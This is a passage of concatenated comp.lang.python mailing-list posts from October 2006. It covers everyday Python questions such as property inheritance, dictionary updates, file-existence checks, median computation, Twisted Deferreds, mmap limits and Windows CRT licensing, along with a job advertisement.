complicated. > I ended up doing the dictionary formatting properly and the new code is: > heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest > atom for which you obtained percentage values for, but not Oxygen or > Hydrogen, ie, 'C', 'N', 'S', 'Br'...: ") > > def updateDS1v(Fxas, x): > if Fxas !=0 and DS1v.get(x)!=None: > value = DSvalues.get(heavy) > floatvalue = float(value) > atoms = DS1v.get(x) + Fxas*floatvalue > else: > value = DSvalues.get(heavy) > floatvalue = float(value) > DS1v[x] = Fxas*floatvalue > > updateDS1v(FCas, 'C') > updateDS1v(FHas, 'H') > updateDS1v(FOas, 'O') > updateDS1v(FNas, 'N') > updateDS1v(FSas, 'S') > updateDS1v(FClas, 'Cl') > updateDS1v(FBras, 'Br') > updateDS1v(FZnas, 'Zn') > it works perfectly now Probably not. Have you manually verified the result with more than one example? Where does 'heavy' come from? Is that black hole 'atoms' intentional? # I'm just guessing here for k, v in DSvalues.iteritems(): DSvalues[k] = float(v) def updateDS1v(Fxas, x): DS1v[x] = DS1v.get(x, 0) + Fxas*DSvalues[x] Peter From horpner at yahoo.com Fri Oct 6 21:27:44 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Sat, 07 Oct 2006 01:27:44 GMT Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: On 2006-10-07, MonkeeSage wrote: > > > On Oct 6, 6:27 pm, a... at pythoncraft.com (Aahz) wrote: >> The following line of lightly munged code was found in a >> publicly available Python library... > > Yes, this violates the Holy, Inspired, Infallible Style Guide > (pbuh), which was written by the very finger of God when the > world was still in chaotic darkness. But I guess I'm an atheist > when it comes to PEP 8. If it is clearer to you to make the > condition explicit ("blah not False"), rather than implicit > ("not blah"), then use the former. I say write the code the way > *you* (and your team if applicable) are best able to read, > write and maintain it. Then when other people tell you that it > isn't good style, or isn't "pythonic," just stab them in the > face with soldering iron ala Chris Walken. :) I agree on both points. It's a style issue, and that hidden tests (taking advantage of how certain objects convert to boolian values) is harder to read. -- Neil Cerutti From mcPas.De.Spam at mclaveauPas.De.Spam.com Sat Oct 28 13:35:38 2006 From: mcPas.De.Spam at mclaveauPas.De.Spam.com (Michel Claveau) Date: Sat, 28 Oct 2006 19:35:38 +0200 Subject: Where is __builtin__ References: <1162050359.184999.259580@b28g2000cwb.googlegroups.com> Message-ID: Hi! >> http://www.effbot.org/pyfaq/where-is-the-math-py-socket-py-regex-py-etc-source-file.htm Yeaaahh!!! Finally a genuine URL ;o) -- @-salutations Michel Claveau From utabintarbo at gmail.com Tue Oct 31 16:13:20 2006 From: utabintarbo at gmail.com (utabintarbo) Date: 31 Oct 2006 13:13:20 -0800 Subject: best way to check if a file exists? In-Reply-To: References: Message-ID: <1162329200.558318.101950@k70g2000cwa.googlegroups.com> John Salerno wrote: > What is the best way to check if a file already exists in the current > directory? I saw os.path.isfile(), but I'm not sure if that does more > than what I need. > > I just want to check if a file of a certain name exists before the user > creates a new file of that name. > > Thanks. os.path.exists()? From casevh at comcast.net Sun Oct 22 00:39:51 2006 From: casevh at comcast.net (casevh at comcast.net) Date: 21 Oct 2006 21:39:51 -0700 Subject: Fwd: Re: How to upgrade python from 2.4.3 to 2.4.4 ? In-Reply-To: References: Message-ID: <1161491991.010112.65630@k70g2000cwa.googlegroups.com> Kenneth Long wrote: > > Okay if one builds such from sources... but us poor > > Windows flunkies > > without a build environment have to wait for some > > kindly soul to build > > the installer compatible with the new Python > > version. > > > especially since I havent got MS visual studio... > and mingw is not supported... :-( mingw32 is supported and can compile many extensions. See the following post: http://groups.google.com/group/comp.lang.python/msg/8e2260fe4d4b7de9 If you meant something else with your comment, please explain. casevh From robert.kern at gmail.com Fri Oct 20 18:57:50 2006 From: robert.kern at gmail.com (Robert Kern) Date: Fri, 20 Oct 2006 17:57:50 -0500 Subject: Inheriting property functions In-Reply-To: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Message-ID: Dustan wrote: > Looking at this interactive session: > >>>> class A(object): > def __init__(self, a): > self.a = a > def get_a(self): return self.__a > def set_a(self, new_a): self.__a = new_a > a = property(get_a, set_a) > > >>>> class B(A): > b = property(get_a, set_a) > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = property(get_a, set_a) > NameError: name 'get_a' is not defined >>>> class B(A): > b = a > > > Traceback (most recent call last): > File "", line 1, in > class B(A): > File "", line 2, in B > b = a > NameError: name 'a' is not defined > > B isn't recognizing its inheritence of A's methods get_a and set_a > during creation. Inheritance really doesn't work that way. The code in the class suite gets executed in its own namespace that doesn't know anything about inheritance. The inheritance rules operate in attribute access on the class object later. Try this: class B(A): b = property(A.get_a, A.set_a) or this: class B(A): b = A.a -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fredrik at pythonware.com Tue Oct 10 12:22:47 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 18:22:47 +0200 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1160455280.118212.202770@b28g2000cwb.googlegroups.com> References: <1160269607.522241.311160@m73g2000cwd.googlegroups.com> <1160332330.684420.276560@e3g2000cwe.googlegroups.com> <1160335473.625244.261640@m7g2000cwm.googlegroups.com> <1160345922.051578.146630@i3g2000cwc.googlegroups.com> <1160455280.118212.202770@b28g2000cwb.googlegroups.com> Message-ID: MonkeeSage wrote: > In Libs/site.py, lines 302-306: > > try: > for i in range(lineno, lineno + self.MAXLINES): > print self.__lines[i] > except IndexError: > break > > With my proposal, that could be written as: > > for i in range(lineno, lineno + self.MAXLINES): > if self.__lines.has_index(i): > print self.__lines[i] > else: > break > > Granted, in this particular case the amount of code is not reduced, but > (and I would hope you'd agree) the control flow is certainly easier to > follow. so to "improve" a piece of code that's been optimized for the common case, you're adding an extra method call and a test to the inner loop? and this because you think Python programmers don't understand try- except statements ? I think we can all safely ignore you now. From icetortoise at gmail.com Mon Oct 16 03:19:17 2006 From: icetortoise at gmail.com (Andy) Date: 16 Oct 2006 00:19:17 -0700 Subject: command text parsing and hints displaying on user input. Message-ID: <1160983157.270102.68630@m73g2000cwd.googlegroups.com> Hi guys, I'm writing a program with a feature of accepting user input as command text and parsing it to correct function calls...example: "5 minutes later"/"5 min later"/"5 minute later"/"after 5 minutes"... are being parsed as the same rule so the system will call a later function with minutes=5 as parameter. Of course there are many other possiblilities, "seconds"/"days", and even "every(each) hour"/"every Monday"/"every two days"...so on... The datetime computation can be done with the wonderful "dateutil" package, but I'm not sure with the command text parsing part. I could do a lot of regular expression, but it'll be great if there is already something similar available...or even a hint that can make it easier than hand-writing a lot of regular expression code... Another requirment is to display useful hints when user input the command text. Example: user input:"5" -> hints: "5 minutes later/5 hours later/5 days later/every 5 minutes" user input:"fi" -> hints: "next Friday"/"first thing tommorrow" user input:"ne" -> hints: "next day"/"next hour"/"next week"/"next month" Sounds too intelligent to do? Any advices on this? Thanks guys. Andy From hpsekhon at googlemail.com Wed Oct 4 04:54:59 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Wed, 04 Oct 2006 09:54:59 +0100 Subject: Best way to handle large lists? In-Reply-To: References: <7xodst3337.fsf@ruckus.brouhaha.com> <45227982.4060808@hotmail.com> <45228F2E.4010409@googlemail.com> Message-ID: <452376E3.2080201@googlemail.com> So are you saying that using a dict means a faster search since you only need to look up one value? I would think that you would have to look through the keys and stop at the first key that matches since each key has to be uniq, so perhaps if it is nearer the front of the set of keys then perhaps it would be a quicker lookup? On the other hand, if it is nearer the end of the set of keys would it not be slower? Does this make it more dependent on the search order whether a list or a dict is faster? Or am I completely on the wrong track? -h Hari Sekhon Fredrik Lundh wrote: > Hari Sekhon wrote: > > >> That is surprising since I read on this list recently that lists were >> faster than dicts >> > > depends on what you're doing with them, of course. > > >> It was one reason that was cited as to why local vars are better than >> > > global vars. > > L[int] is indeed a bit faster than D[string] (but not much), but that > doesn't mean that you can loop over *all* items in a list faster than > you can look up a single key in a dictionary. > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From dale at riverhall.nospam.co.uk Wed Oct 25 15:08:57 2006 From: dale at riverhall.nospam.co.uk (Dale Strickland-Clark) Date: Wed, 25 Oct 2006 20:08:57 +0100 Subject: Python's CRT licensing on Windows References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> Message-ID: To paraphrase an applicant for a job vacancy we're currently filling when asked to give an example of their problem solving skills: A client had a problem with Windows XP on his laptop. I reformatted his hard disk and installed Red Hat. Problem solved. -- Dale Strickland-Clark Riverhall Systems - www.riverhall.co.uk From onurb at xiludom.gro Wed Oct 11 11:35:23 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 11 Oct 2006 17:35:23 +0200 Subject: sufficiently pythonic code for testing type of function In-Reply-To: References: <452cab5d$0$5294$426a74cc@news.free.fr> Message-ID: <452d0f3c$0$31382$426a34cc@news.free.fr> A.T.Hofkamp wrote: > On 2006-10-11, Bruno Desthuilliers wrote: >> Now the real question : what if the object is not an instance of any of >> the types, but still support the expected interface ? >> > > one possible answer: Use ZopeInterfaces > (and ask objects 'do you implement interface X' rather than 'are you type Y') > > Not sure what options you have when dealing with builtin data types however. This was mostly a rethorical question... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From ptmcg at austin.rr._bogus_.com Thu Oct 12 10:18:45 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Thu, 12 Oct 2006 14:18:45 GMT Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com><1160603937.392188.253250@m7g2000cwm.googlegroups.com><1160619958.438049.53390@h48g2000cwc.googlegroups.com><1160652722.908731.213650@i42g2000cwa.googlegroups.com> Message-ID: <99sXg.46566$DU3.34786@tornado.texas.rr.com> "Fredrik Lundh" wrote in message news:mailman.379.1160661911.11739.python-list at python.org... > Paul McGuire wrote: > >> My original question was in response to your post, that sort() wasn't >> required but only a temp variable. I am very interested in seeing your >> solution that does not require the data to be sorted. (This is not just >> an academic exercise - given a large historical data set, sorting the >> data is one of the costliest parts of computing the median, and I would >> greatly appreciate seeing an alternative algorithm.) > > if you absolutely definitely cannot afford to modify or copy the input > data set, but can > read the data sequentially multiple times reasonably fast, you can do > what's basically a > binary search for the median, by counting how many values you have that's > above or > below the current guess, and repeating until you find the right value. > see e.g. > > http://ndevilla.free.fr/median/median/src/torben.c > > Thanks! -- Paul From harvey.thomas at informa.com Fri Oct 13 07:44:26 2006 From: harvey.thomas at informa.com (harvey.thomas at informa.com) Date: 13 Oct 2006 04:44:26 -0700 Subject: Need a Regular expression to remove a char for Unicode text References: <1160735716.805309.316830@m73g2000cwd.googlegroups.com> Message-ID: <1160739866.224070.252590@m73g2000cwd.googlegroups.com> ????????? wrote: > Hai friends, > Can any one tell me how can i remove a character from a unocode text. > ????&??? is a Telugu word in Unicode. Here i want to > remove '&' but not replace with a zero width char. And one more thing, > if any whitespaces are there before and after '&' char, the text should > be kept as it is. Please tell me how can i workout this with regular > expressions. > > Thanks and regards > Srinivasa Raju Datla Don't know anything about Telugu, but is this the approach you want? >>> x=u'\xfe\xff & \xfe\xff \xfe\xff&\xfe\xff' >>> noampre = re.compile('(?>> noampre('', x) u'\xfe\xff & \xfe\xff \xfe\xff\xfe\xff' The regular expression has negative look behind and look ahead assertions to check that there is no whitespace surrounding the '&' character. Each match then found is then replaced with the empty string From rpdooling at gmail.com Fri Oct 20 16:06:58 2006 From: rpdooling at gmail.com (BartlebyScrivener) Date: 20 Oct 2006 13:06:58 -0700 Subject: curious paramstyle qmark behavior Message-ID: <1161374817.671583.175910@i3g2000cwc.googlegroups.com> With aColumn = "Topics.Topic1"' The first statement "works" in the sense that it finds a number of matching rows. c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM QUOTES7 WHERE " + aColumn + " LIKE ?", ("%" + sys.argv[1] + "%",)) I've tried about 20 different variations on this next one. And it finds 0 records no matter what I do. Is there some violation when I use two qmarks? c.execute ("SELECT Author, Quote, ID, Topics.Topic1, Topic2 FROM QUOTES7 WHERE ? LIKE ?", (aColumn, "%" + sys.argv[1] + "%")) I'm using mx.ODBC and Python 2.4.3 to connect to an MS Access DB. Thank you, rd From cjw at sympatico.ca Fri Oct 27 08:32:28 2006 From: cjw at sympatico.ca (Colin J. Williams) Date: Fri, 27 Oct 2006 08:32:28 -0400 Subject: Using classes in python In-Reply-To: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> References: <20061025191920.55088.qmail@web58101.mail.re3.yahoo.com> Message-ID: trevor lock wrote: > Hello, > > I've just started using python and have observed the following : > > class foo: > a=[] > def __init__(self, val): > self.a.append ( val ) > def getA(self): > print self.a > return self.a > > z = foo(5) > y = foo(4) > z.getA() > >> [5, 4] > > I was expecting that everytime I created an instance of the class that a > unique dictionary was also created, however it seems that only one > dictionary is created. > > How can I create a new dictionary for each instance? You do already, as the little script below illustrates: # checkInstance.py class A(object): def __new__(cls, n): return object.__new__(cls) def __init__(self, n): self.a= n a1= A(21) a2= A(22) print a1.a, a2.a, a1.__dict__ is a2.__dict__ Colin W. > > Thanks, > Trevor. > > ------------------------------------------------------------------------ > All-new Yahoo! Mail > - > Fire up a more powerful email and get things done faster. > From eric_brunel at despammed.com Wed Oct 4 11:57:35 2006 From: eric_brunel at despammed.com (Eric Brunel) Date: Wed, 04 Oct 2006 17:57:35 +0200 Subject: Python/Tkinter crash. References: Message-ID: On Wed, 04 Oct 2006 10:33:55 +0200, Hendrik van Rooyen wrote: > Hi, > > I get the following: > > hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py > UpdateStringProc should not be invoked for type font > Aborted > > and I am back at the bash prompt - this is most frustrating, as there is > no > friendly traceback to help me guess where its coming from. > > And what is worse, the script runs for a varying time before it simply > exits > like this. > > What can I do to dig deeper to try to find a clue? - I don't even know > if its > Python, Tkinter or Linux... Neither of them: it's a tcl problem. The message you get is in the file generic/tclObj.c in the tcl source directory. I know the problem happens sometimes on one of my Tkinter applications, but I never succeeded in reproducing it systematically. I've browsed the tcl bugs, but didn't find anything. Maybe you'll be luckier than I... If you are, I'm interested in any hint you can find. -- python -c "print ''.join([chr(154 - ord(c)) for c in 'U(17zX(%,5.zmz5(17l8(%,5.Z*(93-965$l7+-'])" From rtw at freenet.co.uk Mon Oct 30 05:21:59 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Mon, 30 Oct 2006 04:21:59 -0600 Subject: Where do nested functions live? References: <4qhf11Fn4g9fU1@uni-berlin.de> Message-ID: Frederic Rentsch wrote in news:mailman.1428.1162113628.11739.python- list at python.org in comp.lang.python: > def increment_time (interval_ms): > outer weeks, days, hours, minutes, seconds, mseconds # 'outer' > akin to 'global' > (...) > mseconds = new_ms - s * 1000 # Assignee remains outer > m, seconds = divmod (s, 60) > h, minutes = divmod (m, 60) > d, hours = divmod (h, 24) > weeks, days = divmod (d, 7) # No return necessary > > The call would now be: > > increment_time (msec) # No reassignment necessary > > > Hope this makes sense Yes it does, but I prefer explicit in this case: def whatever( new_ms ): class namespace( object ): pass scope = namespace() def inner(): scope.mseconds = new_ms - s * 1000 m, scope.seconds = divmod (s, 60) h, scope.minutes = divmod (m, 60) d, scope.hours = divmod (h, 24) scope.weeks, scope.days = divmod (d, 7) The only thing I find anoying is that I can't write: scope = object() Additionally if appropriate I can refactor further: def whatever( new_ms ): class namespace( object ): def inner( scope ): scope.mseconds = new_ms - s * 1000 m, scope.seconds = divmod (s, 60) h, scope.minutes = divmod (m, 60) d, scope.hours = divmod (h, 24) scope.weeks, scope.days = divmod (d, 7) scope = namespace() scope.inner() In short I think an "outer" keyword (or whatever it gets called) will just add another way of doing something I can already do, and potentially makes further refactoring harder. Thats -2 import-this points already. Rob. -- http://www.victim-prime.dsl.pipex.com/ From no-spam at no-spam-no-spam.com Thu Oct 26 16:18:08 2006 From: no-spam at no-spam-no-spam.com (robert) Date: Thu, 26 Oct 2006 22:18:08 +0200 Subject: conditional computation In-Reply-To: References: Message-ID: Gabriel Genellina wrote: > At Thursday 26/10/2006 16:30, robert wrote: > >> I want to use a computation cache scheme like >> >> >> o = CACHECOMPUTE complex-key-expr expensive-calc-expr >> >> >> frequently and elegantly without writing complex-key-expr or >> expensive-calc-expr twice. >> So its ugly: >> >> _=complex-key-expr; o=cache.get(_) or >> cache.setdefault(_,expensive-calc-expr) >> >> Any ideas? > > The memoize pattern can help; in > http://wiki.python.org/moin/PythonDecoratorLibrary you can see an > implementation using decorators. > thanks, as such it will not help hooking single line expressions, but it helped me remember the lambda ! :shame: : class MemoCache(dict): # cache expensive Objects during a session (memory only) def memo(self, k, f): try: return self[k] except IndexError: return self.setdefault(k, f()) cache=MemoCache() ... o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) Thats pythonic now. -robert From bignose+hates-spam at benfinney.id.au Mon Oct 30 20:59:26 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 31 Oct 2006 12:59:26 +1100 Subject: enumerate improvement proposal References: <4qn37kFmc3q0U1@uni-berlin.de> <4546A43D.4080302@advantest-ard.com> Message-ID: <87odrt6y9t.fsf@benfinney.id.au> Mark Elston writes: > * James Stroud wrote (on 10/30/2006 4:39 PM): > > She's the only other person I've ever met who used vi key binding > > at the command line. > > Well, there's your problem. You need to C-x C-f a new mate. :) I don't have the commitment for that. What if I were to C-x C-v a few different ones instead? -- \ "If you continue running Windows, your system may become | `\ unstable." -- Microsoft, Windows 95 BSOD message | _o__) | Ben Finney From usenet-mail-0306.20.chr0n0ss at spamgourmet.com Wed Oct 11 17:30:30 2006 From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann) Date: Wed, 11 Oct 2006 23:30:30 +0200 Subject: Newbie: trying to twist my head around twisted (and python) References: <12iq2jtbkhna8cf@corp.supernews.com> Message-ID: <4p563mFh5gu8U1@individual.net> Jan Bakuwel wrote: > Does anyone know how I need to complete the code below so it > returns this mysterious "Deferred result" and runs? Without having looked at your code at this late hour -- perhaps a short explanation of what a Deferred is will help. If a function wants to returns something that will not be available at an instant (e.g. some data fetched over network) it doesn't return the "wanted" value directly, but a Deferred instance (as an abstract reference to this value) The calling function may now, after getting this Deferred, attach "Callbacks" and "Errbacks" to this Deferred. Callbacks and Errbacks are just functions that are executed when the Deferred's task is finished successfully or unsuccessfully (which will mostly happen in the future). When the result the Deferred stands for is available, some other function outside "fires" the Deferred so the Callback or Errback is executed. So the typical workflow is: - Call a function and get a Deferred - Attach Callbacks to the Deferred which will process the data the Deferred stands for /when/ it's finally available - Wait, and eventually in some part of the program the Deferred is fired and your Callback gets executed. Regards&HTH, Bj?rn -- BOFH excuse #293: You must've hit the wrong any key. From azricareers at yahoo.com Mon Oct 16 06:39:09 2006 From: azricareers at yahoo.com (Azri) Date: 16 Oct 2006 03:39:09 -0700 Subject: EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS (PYTHON) Message-ID: <1160995149.842439.317990@m7g2000cwm.googlegroups.com> EXCITING OPPORTUNITY FOR EXPERIENCED APPLICATION DEVELOPERS (PYTHON) Azri Solutions Pvt Limited ( http://www.azri.de/en/) provides a challenging work environment, an open work culture & competitive remuneration : the right ingredients to facilitate superlative performance.Vacancies for Experienced Application Developers (PYTHON) are currently open. Azri is an extremely flexible & sustainable networked enterprise with presence in Germany, the U.S.A. & India. Our team has intense hands-on experience in designing, deploying and managing high-volume Service-Oriented Architectures (SOA) including RDBMS-backed Webservices. In most cases, we leverage tried and tested open-source software. Join our highly motivated and dedicated team to embark upon a challenging and rewarding career where you get to make decisions, create great products and in the process, have some fun! We believe in the concept of continuous learning, taking on responsibilities and providing growth opportunities for every team member. Our environment encourages innovation. Ideas are welcome and every individual is empowered to think, share and take ownership oftheir ideas and creations. MAIL YOUR RESUME TO edev at azri.biz JOB DESCRIPTION : ? General : Should have developed applications using Open Source systems. ? Scripting : TCL, PHP, Perl, Python, Ruby. ? Languages : C, C++ development experience is an added advantage. ? OS : Linux / Unix, Windows. (Must have Linux / Unix experience). ? Frameworks : Should have used Open Source languages like PHP / Perl/Ruby / TCL and frameworks like Drupal / Mojave / Rails / OpenACS. DESIRED PROFILE : ? Should enjoy programming. ? Experience : One to four years' programming experience. ? Knowledge of Linux, Shell scripting, Web application development, Quality software development. ? Excellent conceptual, analytical and programming skills. ? Should have Application Design experience. ? Familiarity with Open Source Application Development. ? Familiarity with Open Source Web Application Frameworks. ? Participation in open source communities is an added advantage. SOFTSKILLS : ? Good communication and interpersonal skills. ? Team player. LOCATION : HYDERABAD MAIL YOUR RESUME TO edev at azri.biz From martin at v.loewis.de Mon Oct 23 19:09:56 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Tue, 24 Oct 2006 01:09:56 +0200 Subject: using mmap on large (> 2 Gig) files In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com> Message-ID: <453D4BC4.9080100@v.loewis.de> myeates at jpl.nasa.gov schrieb: > Anyone ever done this? It looks like Python2.4 won't take a length arg >> 2 Gig since its not seen as an int. What architecture are you on? On a 32-bit architecture, it's likely impossible to map in 2GiB, anyway (since it likely won't fit into the available address space). On a 64-bit architecture, this is a known limitation of Python 2.4: you can't have containers with more than 2Gi items. This limitation was removed in Python 2.5, so I recommend to upgrade. Notice that the code has seen little testing, due to lack of proper hardware, so I shall suggest that you review the mmap code first before using it (or just test it out and report bugs as you find them). Regards, Martin From onurb at xiludom.gro Thu Oct 12 12:51:56 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 12 Oct 2006 18:51:56 +0200 Subject: How to be a good programmers? In-Reply-To: <1160659566.956446.6370@i42g2000cwa.googlegroups.com> References: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> <1160617780.299662.110480@i3g2000cwc.googlegroups.com> <1160659566.956446.6370@i42g2000cwa.googlegroups.com> Message-ID: <452e72ad$0$8659$426a74cc@news.free.fr> Gasikara wrote: > I have already started to learn the language (python) since 4 months, > I love this language program! I have read some of example of zope and I > see that it look like with html programming, Well... Zope being a web app server, this may not be that surprising. Now there's much more to Zope and web programming than just html. > so I don't need to learn > again this things. > -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From MonkeeSage at gmail.com Fri Oct 6 02:43:50 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 23:43:50 -0700 Subject: help on pickle tool In-Reply-To: References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160112357.891308.200020@i42g2000cwa.googlegroups.com> <1160114085.944898.224340@k70g2000cwa.googlegroups.com> <1160115558.554509.292870@c28g2000cwb.googlegroups.com> Message-ID: <1160117030.646441.237070@i42g2000cwa.googlegroups.com> On Oct 6, 1:28 am, Fredrik Lundh wrote: > when did you last look at the spec? I'm fairly versed in JS objects, having written 10 or so extensions for firefox; but I've only used YAML for trivial tasks like config files. So I can't really say how they stack up in "the big picture". But from what I have seen, JSON is a simpler and easier to use format than YAML. Regards, Jordan From sturlamolden at yahoo.no Fri Oct 27 09:41:52 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 27 Oct 2006 06:41:52 -0700 Subject: NumPy 1.0 release In-Reply-To: References: Message-ID: <1161956512.614213.35900@b28g2000cwb.googlegroups.com> Travis E. Oliphant wrote: > We are very pleased to announce the release of NumPy 1.0 available for > download at http://www.numpy.org Congratulations to you and the other NumPy developers for completing this major undertaking. I would also like to express my sincere gratitude for making this making this software available to all of us. Thank you. Sturla Molden From mlongjr at verizon.net Fri Oct 6 13:25:56 2006 From: mlongjr at verizon.net (Marion Long Jr) Date: Fri, 06 Oct 2006 17:25:56 GMT Subject: Need array help Message-ID: I am switching from microsoft visual basic programming to python programming. In microsoft visual basic you can Dim a variable so that you can add variables by changing the number on the end of the variable as in the following example; Dim acct(100) numoffiles=4 data=10 ct=1 while ct <> numoffiles acctfile(ct) = data ct= ct + 1 data= data + ct Wend The results are; acctfile(1)=10 acctfile(2)=12 acctfile(3)=15 And you can compare the values of the new variables; if acctfile(1) > acctfile(2) then print "yes" if acctfile(2) > acctfile(1) then print "yes" when I try to create acctfile(ct) = data I get the following error; ***can't assign to function call. Then it gives the program line of the problem Here is the progam in python; numoffiles=4 data=10 ct=1 while ct != numoffiles: acctfile(ct) =data ct += 1 data= data + ct print acctfile(ct) Does anybody know how this is done in Python? From sturlamolden at yahoo.no Wed Oct 25 12:40:22 2006 From: sturlamolden at yahoo.no (sturlamolden) Date: 25 Oct 2006 09:40:22 -0700 Subject: Python's CRT licensing on Windows <-- FUD In-Reply-To: References: <1161790093.505846.315040@b28g2000cwb.googlegroups.com> Message-ID: <1161794422.707799.273200@b28g2000cwb.googlegroups.com> Fredrik Lundh wrote: I am not intentionally posting FUD. > "As long as you're using a standard Python build, you don't need to > buy VC7 to [legally redistribute the C runtime]. The python.org team > use a properly licensed VC7 to build Python, which turns Python into > "licensee software" and you into a "distributor" doing "further > distribution" of Python to end users (with your own stuff added on > top, of course). That makes sence. One does not need a VC7 license to sell (aka "distribute") software from a store either. > And further distribution is perfectly okay, as long > as you only ship the MS components together with proper "licensee > software" (=Python), and that all parties respect the relevant > portions of the original EULA Is further "distribution" okay if it is only accompanied by the python runtime DLL (as is the case when using Py2Exe) or should the entire python-2.4.4.msi from python.org be "distributed"? > "(If in doubt, consult a real lawyer. If you do, make sure that he/she > understands the various levels here -- i.e. that "you" in the MS > EULA applies to the Python developers, not yourself)." I certainly don't understand the EULA, and thus I cannot make sure that I lawyer understands it either. But I can certainly find a lawyer that charges $$$$ an hour and pretends to understand it. I am sure buying a copy of VC7 is a lot cheaper. From ericcngan at gmail.com Tue Oct 10 19:50:51 2006 From: ericcngan at gmail.com (vduber6er) Date: 10 Oct 2006 16:50:51 -0700 Subject: Problem compiling C++ code with python embedded Message-ID: <1160524251.912383.294460@h48g2000cwc.googlegroups.com> Hello, I just recently switched my code from one server to another and now having some problems compiling my code. I was able to compile fine with my last server now but this current one is giving me problems. My build file is as follows g++ -Wall ibdws.cpp ../cgic205/cgic.c -oibdws.cgi -Lcgraph -lcgraph -Icgraph/Cgraph/source -I../cgic205 -L../cgic205 -I/usr/include/python2.4 -L/usr/lib /python2.4/site-packages -lpython2.4 However, the new server only has python 2.2 so i simply switched the 2.4 to 2.2 so now my build file looks like this: g++ -Wall ibdws.cpp ../cgic205/cgic.c -oibdws.cgi -Lcgraph -lcgraph -Icgraph/Cgraph/source -I../cgic205 -L../cgic205 -I/usr/include/python2.2 -L/usr/lib /python2.2/site-packages -lpython2.2 but i get the following error when i build now: /usr/bin/ld: cannot find -lpython2.2 collect2: ld returned 1 exit status Could someone help me out with this problem? I am not too good with linux so please explain to me in newbie steps. Thanks a lot. Eric From bignose+hates-spam at benfinney.id.au Wed Oct 25 22:44:10 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 12:44:10 +1000 Subject: basic questions on cmp, < and sort References: Message-ID: <87lkn3kd8l.fsf@benfinney.id.au> Sch?le Daniel writes: > Hello, > > first question > > In [117]: cmp("ABC",['A','B','C']) > Out[117]: 1 > > against what part of the list is the string "ABC" compared? Why "part"? There are two objects; they are compared to each other. How this comparison is implemented is a matter handled by the class of each object. > second question > > In [119]: class X(object): > .....: pass > .....: > > In [120]: X() < X() > [... differing results ...] > > class X does not implement < and cmp > what is this comparision is based on? Classes can implement various functions to allow comparisons to work: In the absence of those, the comparison's result is (I believe) implementation-dependent -- which means, "don't rely on any particular behaviour". > third question > > sort([[1,2,3],["ABC"],['Z','A'], X(), 4) >>> sort([[1,2,3],["ABC"],['Z','A'], X(), 4) File "", line 1 sort([[1,2,3],["ABC"],['Z','A'], X(), 4) ^ SyntaxError: invalid syntax Care to give an actual example? -- \ "I went to the hardware store and bought some used paint. It | `\ was in the shape of a house." -- Steven Wright | _o__) | Ben Finney From toddw at activestate.com Fri Oct 13 17:38:50 2006 From: toddw at activestate.com (Todd Whiteman) Date: Fri, 13 Oct 2006 14:38:50 -0700 Subject: wing ide vs. komodo (python IDE comparison)? In-Reply-To: <2nRXg.108$1n3.2866@news.tufts.edu> References: <2nRXg.108$1n3.2866@news.tufts.edu> Message-ID: <4530076A.8000409@activestate.com> Check the following links, somebody has already done the hard work for you :) http://wiki.python.org/moin/IntegratedDevelopmentEnvironments http://spyced.blogspot.com/2006/02/pycon-python-ide-review.html http://spyced.blogspot.com/2005/09/review-of-6-python-ides.html http://www.straw-dogs.co.uk/blog/python-ide-review Cheers, Todd John Salerno wrote: > Just curious what users of the two big commercial IDEs think of them > compared to one another (if you've used both). > > Wing IDE looks a lot nicer and fuller featured in the screenshots, but a > glance at the feature list shows that the "personal" version doesn't > even support code folding! That's a little ridiculous and makes me have > doubts about it. > > Komodo, on the other hand, seems to have more of the features that the > personal version of Wing IDE lacks (call tips, class browser, etc.) but > the look of it seems very sparse for some reason. > From pecora at anvil.nrl.navy.mil Tue Oct 17 19:48:35 2006 From: pecora at anvil.nrl.navy.mil (Lou Pecora) Date: Tue, 17 Oct 2006 19:48:35 -0400 Subject: pylab package dependencies References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: In article , Robert Kern wrote: > > > > I assume you are telling me to install ipython from a tar distribution > > using setup etc. I originally installed it from the SciPy Super Pack > > which apparently put in the site packages, but neglected the script in > > /usr/local/bin. Sound right? > > 